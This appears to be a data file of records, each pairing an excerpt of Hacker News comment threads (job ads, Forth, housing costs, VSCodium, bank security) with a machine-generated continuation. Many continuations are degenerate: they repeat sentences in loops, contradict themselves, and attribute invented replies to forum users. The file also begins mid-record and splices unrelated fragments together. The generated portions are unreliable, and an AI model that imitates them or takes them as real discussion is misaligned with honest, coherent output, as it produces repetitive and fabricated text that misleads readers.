In case you feel like that could be your lines of code, let us know :)\n======\njoezydeco\nYou took a flight from Montreal to Frankfurt, but your boarding pass says\nMontreal to Bathurst, New Brunswick.\n\nA handy way to look up flight numbers and destinations is an airline's"} +{"output_text": " postings is here:\n[http://www.10xgenomics.com/careers/](http://www.10xgenomics.com/careers/)\n\n------\njoshu\nSan Francisco, CA - Full Time - ONSITE\n\nWe're looking for a senior front-end engineer to join our team. You'll be\nworking on a variety of projects, including our new website, our mobile apps,\nand our internal tools.\n\nWe", "input_text": " plenty of computational\nbiologists here to handle that, but there is a lot to learn about if you're\ncurious.\n\nWe're currently hiring for several software roles, but specifically for\ngeneralists, senior UI engineers, QA engineers, and infrastructure engineers.\nOur computational biology group is also always looking for bioinformaticians\nwho are experienced with NGS, and our company is always looking for scientists\nand engineers (hardware included). Here are some of the job postings we have\nup, but feel free to email me if you think you're a good fit for another role.\n\n\\- Software Engineer -\n[http://www.10xgenomics.com/careers/274521/](http://www.10xgenomics.com/careers/274521/)\n\n\\- Senior UI Engineer -\n[http://www.10xgenomics.com/careers/274522/](http://www.10xgenomics.com/careers/274522/)\n\n\\- Linux / Infrastructure Engineer -\n[https://www.10xgenomics.com/careers/537730/](https://www.10xgenomics.com/careers/537730/)\n\n\\- Software Quality Engineer -\n[http://www.10xgenomics.com/careers/476114/](http://www.10xgenomics.com/careers/476114/)\n\n\\- Software Quality Engineer (Computational Biology) -\n[http://www.10xgenomics.com/careers/472908/](http://www.10xgenomics.com/careers/472908/)\n\nJust a note that we do have an office in San Francisco even though the\nlistings only specify Pleasanton. Our full page of job"} +{"output_text": " | San Francisco, CA | Full-time | ONSITE\n\nRolePoint is a fast-growing, profitable, and mission-driven company that\nprovides a platform for companies to manage their talent. We are a small team\nof engineers, designers, and product managers who are passionate about\nbuilding great products and solving hard problems.\n\nWe are looking for a few engineers to join our team. We are looking for\nengineers who are passionate about building great products and solving", "input_text": " need you to be comfortable with a web platform. Our\nserver-side code is written in C# and our web front end has a fair bit of\nJavascript, so you\u2019ll need to know one of these or be able to pick them up.\n\nWe work pretty generally, so experience of any of the following would be a\npositive: React, iOS, shell scripting, infrastructure automation, building API\nintegrations, and databases (particularly SQL Server).\n\nWe offer competitive salaries dependent on experience. We\u2019re committed to\neveryone\u2019s professional development, so we offer a flexible training budget\nfor you to spend on attending training courses or other events, as well as\nbrown bag talks and Kaizen weeks for self-improvement and experimentation. In\naddition to this we offer 25 days holiday (plus bank holidays and 3 days over\nChristmas and New Year), 3% employer pension contributions and discounted gym\nmembership.\n\nSo, if you\u2019ve got an interest in education and a desire to learn your craft\nalongside others making the same journey, we want to hear from you. Our\ninterview process is a call to get to know each other a bit more, a short take\nhome test, and then an on-site interview with me, some of our developers, and\nthe founding partners of Firefly (we like to be thorough and also make sure\nyou meet a good cross-section of the team!)\n\nDrop me an e-mail (robin at fireflylearning.com) or apply on our website \u2013\n[http://fireflylearning.com/join-our-\nteam/jobs](http://fireflylearning.com/join-our-team/jobs)\n\n------\nrolepoint\nRolePoint | (mostly) Python Software Engineers, Technical Support, Customer\nSuccess"} +{"output_text": "jrockway\nI think the problem is that people are writing code for other people, not\nthemselves.\n\nIf you are writing code for yourself, you don't need to document it. If you\nare writing code for other people, you should document it.\n\n~~~\nerikb\nI think that is a very good point. I think that the problem is that people\nwrite code for other people, not themselves.\n\n------\njrockway\nI", "input_text": ", and comments\nshould be used in any situation that confusion could possibly arise.\n\nFor my own code, aside from commenting on obviously confusing sections, I tend\nto create functions that have an easily understood purpose when called, but I\ntend to use 1-2 lines of comments when I declare the function so that I can\nfeel reasonably sure that anyone reading my code wont have too many questions.\nI've found through feedback that this is a fairly functional method of\ndocumentation.\n\n------\nanamax\nHow can I make my code explain why it wasn't done some other way, or two other\nways?\n\n~~~\nerikb\nThat is a very good point. But it is not contradicting the main point of most\npeople here. Of course there is good documentation and important\ndocumentation. It is just that most of the times your code does not need a big\nbloat of text around it.\n\nAnd I would say that your point is a much better example than the one used in\nthe blog post.\n\n------\nsliverstorm\nI'm not going to argue that you should not document your code, but two things\ncome to mind:\n\n1) With the backup example- you have indeed moved complexity elsewhere, but\nthe idea of that kind of setup is you logically separate complexity into a\nhierarchy so that the proper segment can be rapidly located, and is easy to\ncomprehend because it is isolated, and small chunks of complexity are not all\nthat hard to understand.\n\n2) Every example of well written self-documenting code I've ever seen is\npretty much superior to the alternative in every way, with the possible\nexception of small performance hits. It's generally a good goal to shoot for,\nwhether you document your code or not.\n\n------\n"} +{"output_text": " day!\n\n------\njoshstrange\nPilotlight | [https://pilotlight.com](https://pilotlight.com) | Full-Time |\nREMOTE\n\nPilotlight is a small, profitable, and rapidly growing company that is\ncurrently hiring for a number of positions. We are looking for a few\nexperienced developers to join our team.\n\nWe are a small team of developers, designers, and product managers who are\npassionate", "input_text": " find\nyour own place to live last month.\n\nInterview process: 1st phone interview (screening) -> 2nd phone interview\n(technical) -> home assignment/technical challenge (depending on application)\n-> 3rd interview (mixed, via phone or onsite)\n\nPlease note that our reply times are still a bit slower than usual because we\nstill have a backlog from last month as a lot of time was taken up by our\npresence on an important trade fair.\n\n~~~\nManikandan\nI applied a month ago, never got a reply. 1 month is too long for a reply\nthough!\n\n------\nbitxbitxbitcoin\nPRIVATE INTERNET ACCESS |\n[https://www.privateinternetaccess.com/](https://www.privateinternetaccess.com/)\n| Developers, DevOps, Marketing, Tech Support | Denver, CO | Onsite [Remote to\nqualified applicants] | Full-Time\n\nPRIVATE INTERNET ACCESS is fighting the good fight against censorship,\nsurveillance, and overall evil.\n\nPlease e-mail jobs@privateinternetaccess.com to APPLY. Please make sure to\nsend a resume, cover letter, links to anything worth seeing, etc.\n\nPlease read this if you haven't already:\n[http://www.activism.net/cypherpunk/manifesto.html](http://www.activism.net/cypherpunk/manifesto.html)\n\nIf you want to help fight the good fight with the company who has donated the\nmost to organizations such as the EFF, FFTF, Creative Commons, Linux Mint,\nFreenode, etc., then send us an e-mail.\n\nThank you in advance, and have a wonderful"} +{"output_text": "es about Forth is just a consequence of the\nflakiness of concatenative programming.\n\n~~~\njrockway\nI guess I should have said \"Forth is easy to experiment with, so you can\nexperiment with it and learn from it.\"\n\n------\njrockway\nI don't like Forth because it's too easy to write bad code.\n\nI don't like Forth because it's too easy to write good code.\n\nI", "input_text": "\n\nobj.wordA(); obj.wordB(); obj.wordC();\n\nBlending this with more imperative or functional constructs, I can get the\nbest of both worlds: something compact and readable but also self-documenting,\nwith decent type and parameter safeness.\n\n------\nCapitalistCartr\nReminds me of cats. Ask someone who hates cats to describe cats, and cat\nlovers will agree with the description. Cat hater ends with something like,\n\"And that's why I hate cats,\" while cat lover ends with, \"And that's why I\nlove cats.\" Both to the same description.\n\n~~~\nDannoHung\nI like cats, but I am really allergic to them, and thus hate being around\nthem.\n\nWhat is the similar situation for a programming language?\n\n~~~\nzck\nI have had people assert that they are allergic to parentheses, causing them\nto hate Lisp.\n\nOf course, offering to make them a read macro to let them use any two other\ncharacters in place of parentheses didn't help, but such is life.\n\n------\njrockway\nWhat a strange article. He's upset because it's easy to experiment and test\nwith Forth? OH NOES, TEH TERRIBLES!!\n\nIf you don't like interactive development, then just type everything into a\nfile, compile it, and run. The choice is yours.\n\nIf there's something to complain about with respect to Forth it's the\nflakiness of concatenative programming. I'd rather write a program in terms of\nfunction application or sending messages than in stack transforms. That's why\nI don't like Forth, and is probably the only _real_ reason to dislike it.\nEverything the author dislik"} +{"output_text": " We're working on a Hipchat integration right now.\n\n------\njoshstrange\nI'm not sure if this is a feature or a bug but I can't seem to get the\n\"Add/Remove\" button to work. I've tried it in both the \"Add\" and \"Remove\"\nstates and it just doesn't do anything.\n\n~~~\nmydigitalself\nThanks for the feedback! We're working on a fix for this.\n\n------", "input_text": "https://gitter.zendesk.com/hc/en-\nus/articles/200178961-Why-d...](https://gitter.zendesk.com/hc/en-\nus/articles/200178961-Why-do-you-ask-for-write-access-to-my-profile-)\n\nLong answer: [https://gitter.zendesk.com/hc/en-\nus/articles/200176672-Authe...](https://gitter.zendesk.com/hc/en-\nus/articles/200176672-Authenticating-with-GitHub)\n\n~~~\nmisterdai\nAny idea if GitHub will ever alter the way that works so you can avoid it\ngiving you write access. I was all ready to give Gitter a go until I saw the\npermissions that would be granted. Sure you're trust worthy but us IT types\ncan be paranoid ;-)\n\n~~~\nsuprememoocow\nHi, this is Andrew from Gitter.\n\nAnd we completely understand. We're waiting on Github to update their OAuth\nscopes, and we understand that they're working on it.\n\nIf you're not comfortable with the OAuth permissions Gitter requires, you\ncould try Gitter's sister product, Troupe [https://trou.pe](https://trou.pe).\nIt's got most of the same features, but with less Github integration and no\nmarkdown or syntax highlighting.\n\n------\nimjared\nPretty cool but I can't see having another chat client on top of Hipchat. Wish\nthere was some way to bake this into Hipchat since the features look awesome.\nGreat work!\n\n~~~\nmydigitalself\nThanks!"} +{"output_text": "ops to do it, but they're not going to do it.\n\n~~~\njosteink\n> (1) The web is (slowly) destroying MS on the client-side.\n\nI don't think so. The web is destroying MS on the client-side because it's\nthe only thing that can compete with the MS-Windows-desktop-experience.\n\n> (2) Linux is destroying MS on the server-side.\n\nI don't", "input_text": "infested disaster area.\n\n~~~\ngarganzol\nCOM is good and it is anything except disaster. It its raw form, COM is just a\nsmall and natural abstraction over plain C interface.\n\nJust like a C interface is a small and nice abstraction over plain\nregisters/stack call models of the past.\n\nThe advent of calling conventions like C was a huge step forward in 1970s.\nBefore that, there was a mad zoo of passing parameters via random CPU\nregisters and praying that you made no mistake and it would work without a\ncrash.\n\nCOM is no different. IUnknown is just 3 methods (QueryInterface, AddRef,\nRemoveRef) over a plain C. It immediately brings an ability to use service\nmodel design in APIs.\n\n------\ngmaster1440\nPersonally strikes me very much as an article making valid points but\ngenerally in bad faith. Microsoft can both begin to change and embrace Linux\ngradually as they've been doing recently and at the same time have an unsavory\npast with the ecosystem. If anything, they're willingness to change, however\nsmall, should be interpreted generally as a positive shift.\n\n------\nJohnL4\nOof. All these Linux-on-desktop replies.\n\n(1) The web is (slowly) destroying MS on the client-side. Sure, there's a ton\nof existing WinForms/WPF stuff now, but I think new development is on the web.\n\n(2) Linux is destroying MS on the server-side. It is simply impossible to beat\nthe price (both AMZN and MS offer Linux images at half the price of Windows\nimages).\n\nSo, where does that leave MS? Competing with AMZN in cloud infrastructure.\nThey have the technical ch"} +{"output_text": " it, and it was a great phone. I was able to root it, install\nwhatever software I wanted, and use it as I pleased. I was able to install\napps from the Android Market, and I was able to install apps from other\nsources. I was able to install apps that were not approved by the carrier. I\nwas able to install apps that were not approved by the manufacturer. I was\nable to install apps that were not approved by the manufacturer and the\n", "input_text": " holes in the vendors crappy security systems. The\nfact that they don't even invest enough resources into a quality security\nframework (which helps increasing their revenue) speaks volumes of the quality\nof the other \"improvements\" they make to stock android.\n\n~~~\ndrivebyacct2\nBut that is because of the carriers. Why do you think Motorola implemented a\nsigned multistage boot process? I'm sure they didn't say, \"We want to limit\nour customers and waste engineering resources on a problem that voids the\nwarranty anyway and doesn't matter to us\".\n\nNah, they reacted to VZW's threats.\n\n~~~\nkelnos\nNitpick: regardless of what the scare-message says when you unlock your N1's\nbootloader, changing the software on a device cannot (by law, in the US) void\nthe warranty on the hardware, unless it is demonstrable that the software\nmodification actually damaged the hardware.\n\n------\nrm-rf\nThe key here is the unavailability of non-carrier branded unrestricted Android\nphones in the US. If I get subsidized by the carrier when purchasing the\nphone, dealing with crapware and restriction is part of the cost of getting\n$400 or so off the price of the phone at purchase time.\n\nIdeally I could make a choice to buy an Andriod phone from a manufacturer with\nno branding and no restrictions, pay full price for it, and accept that the\nadditional cost is what I'm willing to pay for an unrestricted, unbranded\nphone. The inability to purchase a phone like that is the real problem, not\nthe restrictions placed on carrier subsidized phones.\n\nTwo years ago I bought an unrestricted HTC Diamond with Winmo 6.1. I paid over\n$600 for"} +{"output_text": ",\nand to do so by force.\n\n~~~\nDanihan\nI wish to extend control of property beyond the borders of what they own, and\nto do so by force.\n\n------\njedberg\nI think the biggest problem is that we don't have enough housing.\n\nWe have a housing shortage, but we don't have enough housing.\n\nWe have a housing shortage, but we don't have enough housing for the people\nwho want to", "input_text": " I invite you to find\nan example of vacancies increasing in the same place that housing/rents climb\n- it won't exist in any of the real estate hot-beds in America.\n\nThe main thrust of this article and the research surrounding it by folks like\nCity Observatory, Sightline Institute, etc. is that we now _do_ know the\ndynamic of housing prices in booming economies. I don't feel like you've\nprovided any evidence that contradicts the conclusions presented in the\nresearch, so I'm having trouble pinpointing your skepticism. Let me know if\nI've missed your point!\n\n------\nalexasmyths\nFolks - please add immigration.\n\nWhy on earth people don't grasp that when population is increasing mostly due\nto newcomers it affects housing... this bothers me - because it's\npoliticized, nobody can talk about it it seems.\n\nImmigration is just a reality, it's part of the equation - it has real effects\non housing costs and wages, one can't ignore it because sometimes the answers\nmight not jive with one's politics.\n\nSo, immigration (or rather, population change, which can include births etc.)\n- is an important driving factor.\n\nWhich includes migration between states/regions obviously.\n\n~~~\nouid\njust build more housing.\n\n~~~\nDanihan\nNot everyone wants to live in a super over-populated / densely populated\narea...\n\nIn general, more saturation of humans == more problems.\n\nPeople make fun of NIMBY, but at the end of the day who better to manage the\nneighborhood than the people who are already invested in it..?\n\n~~~\nOrwellianChild\nYou wish to extend control of property beyond the borders of what they own"} +{"output_text": " and they are all very\ntalented, but they are not necessarily the best at what they do.\n\n~~~\njules\nI think you are right. I have a friend who is a Cambridge graduate and he\nsays that the engineering department is very good at teaching you how to\nthink, but not so good at teaching you how to think well.\n\n~~~\ntomsaffell\nI think you are right. I have a friend who is a Cambridge graduate and", "input_text": " degree\nin that subject. The \"at university you only study one\" reflects the nature of\nthe British university system: rather than a hodge-podge of courses\nculminating in a major, British students focus on a particular area from the\nstart -- other subjects are studied, but they don't rate separate examinations\nor qualifications. It's a system based on specialization: narrow but deep\nrather than broad but shallow.\n\nFinally, anyone who went to Oxbridge having read that article and taking \"nor\nis workaholic study encouraged\" at face value is going to be in for a very\nnasty surprise...\n\n~~~\nregularfry\nThis is really noticeable if you go through A levels, then end up in a\nuniversity course with a high foreign student intake. The first year is almost\n_entirely_ catch-up, as those who didn't do A levels get the content pumped\ninto them so that the course proper can start in the second year.\n\n------\ntomsaffell\nSome of this resonates, but this does not:\n\n _Oxbridge\u2019s teaching methods reward good talk_\n\nIn my experience, Cambridge University Engineering Department rewards those\nwho can _at age 19_ show _on paper_ a sound grasp of all branches of\nengineering, from vector calculus, to materials science, to the physics of a\ntransistor, to thermo dynamics.\n\nThose who can do both that, and also speak well, are often 'poached' into\nconsulting and banking, whereas those who can only do the former tend to\npursue more technical fields. But to blame that on Oxbridge seems unfair.\n\nOn an unrelated note: I've worked with many Oxbridge graduates of Humanities,\nClassics (Greek, Latin) and English Literature -"} +{"output_text": " a big hit.\n\n------\njoshuaheard\nI'm not sure if this is a good thing or not. I think it's a good thing that\nthe Nobel Prize is not a popularity contest.\n\n~~~\njoshuaheard\nI'm not sure if this is a good thing or not. I think it's a good thing that\nthe Nobel Prize is not a popularity contest.\n\n~~~\nhullo\nI think it's a good thing that", "input_text": "cott to my attention or else I'd never have read\n_Omeros_ \". But nope, most of the laureates continue to languish in relative\nobscurity even after they win the prizes.\n\n~~~\nhullo\nWell, it's also a lot easier to validate their choices - you and anyone else\nwho are fluent in English, Russian or a number of other languages can go pick\nup a copy of Voices from Chernobyl, say, and give it a try. (It's amazing.)\nYou will have a harder time validating the chemists' work.\n\n------\nGFischer\nI find it interesting that betting houses have gotten the winners right for a\nfew years already.\n\n[http://www.ibtimes.com/pulse/nobel-prize-2015-betting-\nodds-w...](http://www.ibtimes.com/pulse/nobel-prize-2015-betting-odds-who-are-\nliterature-peace-physics-favorites-2127359)\n\nSomething similar to the DraftKings affair maybe, where someone or several\nsomeones with insider information are using it for their advantage?\n\nShe wasn't a dark horse to win though, she's been favored for at least a year\nnow:\n\n[http://www.newyorker.com/culture/cultural-\ncomment/nonfiction...](http://www.newyorker.com/culture/cultural-\ncomment/nonfiction-deserves-nobel)\n\nSo it might be a case of a Prediction Game doing right\n\nI remember from some years ago the Hollywood Stock Exchange ( www.hsx.com/ ),\nan online game where people \"invested\" on movies, was"} +{"output_text": " is going to be\nsignificantly simpler to build than a client-side framework. But I think the\nsame is true for a complex app with a lot of client-side logic.\n\n~~~\nsmadge\nI agree with you that it depends on the app. I think the point I was trying to\nmake is that the initial effort is less for a SPA than a server side rendered\napp.\n\n------\njoshstrange\nI'm not sure I", "input_text": "\n_are_ many apps which just don't fit particularly well into a document. It's\nnot clear whether the author really thinks all such apps are trivial (eg\ndetecting your dog's age), but I'd argue there are plenty of substantial apps\nthat don't fit that model well, and benefit substantially from being a full-on\njs-heavy web app.\n\n~~~\nsmadge\n> whether it's worth an extra X hours/days/weeks for any given bit of\n> technical improvement, whether it's progressive enhancement or something\n> else\n\nProgressive enhancement leads to less initial effort. Single page and script\nheavy applications are more complex and take more time to develop and debug\nthan server side rendered applications. They often duplicate logic between the\nclient and the server. Alternatively, throw together some database queries and\nhook them up to html templates, and you have the foundation for a\nprogressively enhancing site. You can then expend the extra effort to ENHANCE\nyour site by sprinkling in client side code and cutting edge css features.\n\n~~~\nfishtoaster\nI suppose this is entirely subjective, but I have to disagree that an SPA is\ninherently more complex and time-intensive that building equivalent\nfunctionality mostly server-side. I split my time about evenly between\nserverside development (Rails, then PHP before that, then Java before that)\nand clientside (React, then Angular before that, then Backbone before that,\nand jquery soup before that). I think it depends on the app, but I definitely\nfind certain kinds of apps are a lot easier in a large clientside framework.\n\nNow, there are cases for each. Building a simple blog, you'd be right: a\nserver-rendered app with a sprinkling of JS for flavor"} +{"output_text": ". but the memo was a political document, and it's not a good\nthing.\n\n~~~\njamesb93\nI think the memo was a political document, but it was also a scientific\ndocument. It was a document that was trying to explain why women are\nunderrepresented in tech.\n\n~~~\nclairity\nsure, but it was also a political document.\n\n------\njamesb93\nI think the memo was a political document, but it", "input_text": ", and hard-science faculties \n remain so heavily male.\n \n\nIsn't the idea with free speech that you allow people to say things that you\ndisagree with?\n\nOr as someone else has already phrased it nicely:\n\n \n \n \"After all, if freedom of speech means anything, it means a willingness \n to stand and let people say things with which we disagree, \n and which do weary us considerably.\"\n \n\n[https://www.theatlantic.com/magazine/archive/2005/02/why-\nfem...](https://www.theatlantic.com/magazine/archive/2005/02/why-feminist-\ncareerists-neutered-larry-summers/303795/)\n\n------\nclairity\ni appreciate the article for pointing out a nuance often lost in this kind of\nsituation: that teasing out positions and perspectives requires a careful\nreading, and summaries are often (intentionally) misleading.\n\nbut let's be clear: the memo was a political document (in the common sense of\nthe word, rather than about government machinations). sure, james damore may\nhave been trying to have an honest conversation (and honest discussion should\ntotally be encouraged), but the guy's biases and position were clear right\nfrom the title onward. he was attempting to assert what he thought was a\nsuperior position and got shot down. now others who (secretly or otherwise)\nshare some portion of that position feel vulnerable and defensive, and we get\nheated discussions driven by primal emotions using otherwise rational-sounding\nwords. it's politics.\n\nthat's what the media is zooming in on, because that's where the charged\nemotions are"} +{"output_text": " do things they don't want to do? Are they happy?\n\nAsk about the company's culture. What is the company's culture like? Is it\nfriendly? Is it a place where people are expected to work hard and be\nproductive? Is it a place where people are expected to be nice to each other?\n\nAsk about the company's future. What is the company's vision? What is the\ncompany's strategy? What is the company's plan for the next 5", "input_text": " don't attach too\nmuch confidence in their relevance to your ability to enjoy your work, to\nperform well, or to advance your career.\n\n------\nLargeWu\nOne thing you can do is ask to see the space where developers are working. Do\ndevelopers there look generally happy? This is highly subjective and prone to\nfalse-positives, but in general if everybody kind of looks like they'd rather\nbe somewhere else, take note of that.\n\nIs there another developer in the interview besides the hiring manager? Do\nthey seem engaged and are trying to sell the job to you (a good sign), or are\nthey kind of disinterested (a bad sign)?\n\nAre the interview questions adversarial? (\"Solve this problem. Ha ha, that's\nnot right\" \\- bad) Or are they asking about you and your experiences and\ntrying to relate them to what you'll be working on. (good)\n\nWhat specific aspects of your current workplace do you view as toxic?\n\n------\nkelukelugames\nOne question I've always asked after an offer is \"Is there any reason why I\nshouldn't take this job?\"\n\nOne manager felt insulted and got angry. I took the job for other reasons but\nhe turned out to be petty.\n\n------\npeterwwillis\nAsk about the other employees. Executives, middle-managers, future co-workers.\nWhat is their background? How long have they been working in their group? Do\nthey have significant prior experience working in a position such as this?\nWhat is their day to day like?\n\nAsk to talk to people in the group you're going to be working in. What do they\nthink of the company, their boss, team lead, other team members? Are they\noften asked to"} +{"output_text": ", Techcrunch, Wired).\n\n------\njoshu\nI'm surprised that the top result for \"techcrunch\" is a blog.\n\n~~~\njoshu\nI'm not sure why I'm getting downvoted. I'm not saying that the top result is\nwrong, I'm saying that the top result is a blog.\n\n~~~\njoshu\nI'm not sure why I'm getting downvoted. I'm not saying", "input_text": " of what you'll see and reveal if\ndoing so).\n\nDug up from my browser history, this was the original link, which reveals your\nlogged-in Google username to other simultaneous document viewers:\n\n!!!\n[http://spreadsheets.google.com/ccc?key=rC4oeGjG_04iG63oBJvy2...](http://spreadsheets.google.com/ccc?key=rC4oeGjG_04iG63oBJvy2xw)\n\n------\nsmokinn\nI don't know who I was following around but it was fun just clicking under\nyour cell selection =)\n\n------\ngojomo\nSites based on the real name of their primary writer are very strong: graham,\nsivers, yegge, shaw, buchheit, maroon, joel, aaron, pmarca, ejohn, godin. (A\nmessage about authenticity, voice, and personal brands?)\n\nOther sites known as the outlet of a single author also do well: catonmat,\ndaringfireball, raganwald, blogmaverick, avc.\n\n~~~\nskolor\nWhile I have no evidence to support this, I would guess this has to do with\nthe editing process. Comparing this list to ,\nyou see a lot of similar results. The difference is that some of them have\nquite a lot of results (Techcrunch, Wired), but not nearly as high of a\naverage score.\n\nIn fact, it looks like the sites hitting the top of the list for average score\nare ones that are written by a single author, who has several strong opinions\n(ZedShaw"} +{"output_text": "own experience. I have a bank account with a credit card. I have a credit\ncard with a bank account. I have a bank account with a credit card. I have a\ncredit card with a bank account. I have a bank account with a credit card. I\nhave a credit card with a bank account. I have a bank account with a credit\ncard. I have a credit card with a bank account. I have a bank account with a\ncredit card. I have", "input_text": " opposed to user-chosen\n> usernames or email addresses so there goes the value in credential stuffing\n> lists.\n\nI've had accounts at most of the major US banks and I don't think I can think\nof a single one that did this. Almost every single bank allows the user to\nselect a username or occasionally uses email for login. This is not a good\nargument for Chase, Citi, Amex, Discover, Capital One, Barclays, and a whole\nbunch more I can't think of off the top of my head.\n\n------\nlovehashbrowns\nThat whole blog post was sad, but this quote was particularly dumb:\n\n> Banks like ING will give you your money back\n\nNow, I don't have any experience with having my bank account hacked, but I\nhave had experience with my credit card getting used without my consent, and\nit's NOT a fun process. I can't even imagine how that'd go with a bank and a\nchecking account. I can only guess that you have to 1. get the right customer\nrep on the line and 2. wait a good while.\n\n------\nblackbrokkoli\nPeople tend to get lost in mathematical technicalities in these discussion.\nYes, even really dumb limitations leave 100k+ possibilities open, much more\nthan you can brute force with a three-strike-lockdown. But that's not making\nit ok. Even if some crafty hackers on the other side of the world find a way\nto crack my account I'm confident the bank will look at the possible PR and\nlegal costs and just refund my money fully, yes, yes, wonderful. That is not\nthe problem.\n\nThe problem is _user inertia_. Let me speak as an averaged one, mixed with my\n"} +{"output_text": " then it's a software issue.\n\n------\njoshstrange\nI'm not sure if this is a good thing or not. I'm not a fan of the ZigBee\nstandard but I'm not sure if this is a good thing or not. I'm not sure if\nthere is a way to make this a good thing or not.\n\nI'm not sure if this is a good thing or not. I'm not sure if there is a way to", "input_text": " at this at all.\n\n~~~\neveningcoffee\n_I'm not mad at this at all. _\n\nI am. Because it is a way to extort money out of other ZigBee participants.\n\n~~~\nrubidium\nIt's not extorting. It's making sure your house doesn't burn down because you\nbought the el cheapo bulb from knockoff brand C.\n\n~~~\nraverbashing\nPray tell how does a LED Lamp can burn your house down\n\nOh wait it can't (if it can because your wiring is crap and the protection\ndevices are not working you have much bigger problems)\n\n~~~\nTeMPOraL\nA LED bulb converts your 230V AC (or 110V in the US) power source into 12V DC\n(in case of Hue itself). This converter part can, if poorly made, create a\nfire hazard. And a bulb is usually mounted inside a lamp, many of which are\nflammable and have the shape that will accumulate heat inside instead of\ndissipating it.\n\n~~~\nraverbashing\nYes, but that applies to china mobile chargers and a lot of other devices that\nnobody worries about (and also to CFDs and any led lamp that might be today in\nyour house)\n\nAnd of course it's not a software issue\n\n~~~\nWorldMaker\n> And of course it's not a software issue\n\nFunny thing though, but that AC/DC converter is manipulated by firmware\nactivated by a wifi protocol. If the fire only starts when the converter is\nactivated into its highest conversion rate in a particular sequence by certain\ncommands sent across that wifi protocol and those commands are being chosen by\na user of an app on a mobile device two rooms away,"} +{"output_text": ".\n\n~~~\nhardwaresofton\nI'm not sure I understand your point.\n\nThe remote extensions are open source, and they're open source because they\nrely on other open source projects.\n\nThe remote extensions are closed source because they rely on other closed\nsource projects.\n\nI don't see how this is a trap.\n\n~~~\nohthehugemanate\nI'm not sure I understand your point.\n\nThe remote extensions", "input_text": ".com/VSCodium/vscodium\n======\ncercatrova\nNote that this doesn't work with VSCode's Remote extensions, such as for SSH,\nDocker containers, and WSL. Those extensions are closed source and explicitly\ncheck that they're running on only VSCode. I thought of using this but since I\nmainly use WSL, this doesn't work for me. Still, a laudable effort.\n\n~~~\nhardwaresofton\nForgive the kneejerk reaction but it sounds like we've come full circle back\nto closed source IDEs. For what reason are any of those extensions closed\nsource? Why are people using and championing tools with closed source\nextensions that check what they're running on (in order to force you to\nuse/buy the original thing) in 2020?\n\nYou can pry emacs/vim from my cold dead hands -- Microsoft is trying (and\nsucceeding) in google-chrome-ing it's way into the productive developer space.\nIf that's true, I wonder what the Firefox in this analogy is? Atom? Emacs/Vim?\n\n~~~\nohthehugemanate\nSee [https://code.visualstudio.com/docs/remote/faq#_why-arent-\nthe...](https://code.visualstudio.com/docs/remote/faq#_why-arent-the-remote-\ndevelopment-extensions-or-their-components-open-source)\n\nI love that post, because it encapsulates exactly the kind of internal logic\nthat traps not-fully-open organizations.\n\nMS can't open source the remote Dev extensions, because the service that runs\nit (and much of the client code) comes from other, proprietary offerings"} +{"output_text": "The \"wordpress blog with cats on it\" is a very shallow view of the company._\n\nI think you're right. I'm not sure what the reporter was expecting to find.\n\n------\njlangenauer\nI'm the founder of Cheezburger.\n\nI'm also the founder of , which is the blog\nthat the NY Times article is about.\n\nI'm also the founder", "input_text": "How I Can Has Cheezburger became a web empire - jlangenauer\nhttp://www.nytimes.com/2010/06/14/technology/internet/14burger.html?partner=rss&emc=rss\n======\nMartinCron\nIn a move that isn't at all shocking, the NY Times reporter didn't have much\ninterest in talking with me or any of the other Cheezburger Network developers\nwhen she was in our office a few weeks ago.\n\nIf anyone is curious about the technical side of what we do and how we do it,\nI'll gladly answer questions here.\n\nAlso, we're looking for software developers. We're in Seattle, and have a\nstrong bias for local talent, but we have a bunch of remote deveopers. Of the\ndozen or so companies I've worked for, Cheezburger is hands down the best.\nSrsly. Email martin@cheezburger.com if you're interested.\n\n~~~\niamjustlooking\nI'm sure from a reporter perspective it doesn't appear like there's much of a\ntechnical side to what appears to be a wordpress blog with cats on it.\n\n~~~\nMartinCron\nThat's why I would expect a reporter to, when introduced to a bunch of\ntechnical people to ask, \"what? there's a technical side?\"\n\nThen we could talk about how we make systems to help the editorial team sort\nthrough the 16,000 content submissions we get every day, or how we have a\npublic API so people can submit funny content from their applications.\n\nThe \"wordpress blog with cats on it\" is a very shallow view of the company.\nThere's a lot more going on than that.\n\n~~~\nfortes\n_"} +{"output_text": " did), you're being a dick.\n\n~~~\nleorocky\nI don't think I was being a dick. I was being a dick because I was being\ndickish.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nleorocky\nI'm not sure I understand the point of this either.\n\n~~~\njoshu\nI think it's a cool demo.\n\n~~~", "input_text": " we'd had the public internet instead of just\nBBSes back when stuff like this was cutting-edge tech, instead of just a\nclever hack? Imagine if, say, C64 devs and hackers could do this kind of\nsharing instead of being limited to word-of-mouth.\n\n------\nleorocky\nThese kinds of ray casters are really cool, but at this point in time I don't\ncare about how small the code base is, just make a really cool ray caster in\nJavaScript and don't worry about how big the code is (within reasonable\nlimits)! I just want an awesome JavaScript ray caster library to be honest. :)\n\n~~~\nleorocky\nLooks like this comment of mine was irrevocably wrong and completely\nirredeemable. No apology is possible and I'm sorry for my very existence. Go\nsocial voting sites! Go internet culture! Yay.\n\n~~~\nbunderbunder\nA harsh response, yes. But frankly, what you said was harsh. An interactive\nraycaster in an executable an order of magnitude smaller than most networks'\nminimum transmission unit is an incredible accomplishment, and your response\nis to essentially drop trou and take a dump on it because teh w3b 4evaz.\n\n~~~\nleorocky\nWhat I said wasn't harsh, it just wasn't apparently enough genuflection and\nawe to appease the people that happened to be interested enough to check the\ncomments on this link. I care about as much as I did yesterday, which is not\nnothing. You and everyone else who demands more will just have to deal with\nit.\n\n~~~\nfl0wenol\nNo; if you don't appreciate something because you suspect you don't understand\nor lack context (as you"} +{"output_text": " they are not the only way to do it.\"\n\nI think this is a very important point. The author is right that there are\nother ways to bring together investors and savers. But I think the author is\nwrong to say that these other ways are not as effective as banks.\n\nI think the author is wrong because he is not considering the fact that\ninvestors and savers are not the only people who need to be brought together.\n\nThe author is also", "input_text": " help firms who are just starting up.\n\nI'm not all doom and gloom about the economy (even today), but I don't think\nthe importance of banks is understated. The author is essentially arguing that\nif we scraped the bottom of the barrel, we could probably replicate what banks\ndo (bringing investors and savers together) to a certain percentage. That's\ntrue, but what if your work just started paying you 50%. It might be hard to\nmeet your next month's bills.\n\n~~~\nPrrometheus\nI haven't read the article, but a counter-point:\n\nBanks are much less important today than they used to be because there are so\nmany more investment channels available. While regulation limits participation\nin these channels to the rich and well-lawyered, our economy is more redundant\nand diverse today than it has ever been.\n\n~~~\nfallentimes\n_there are so many 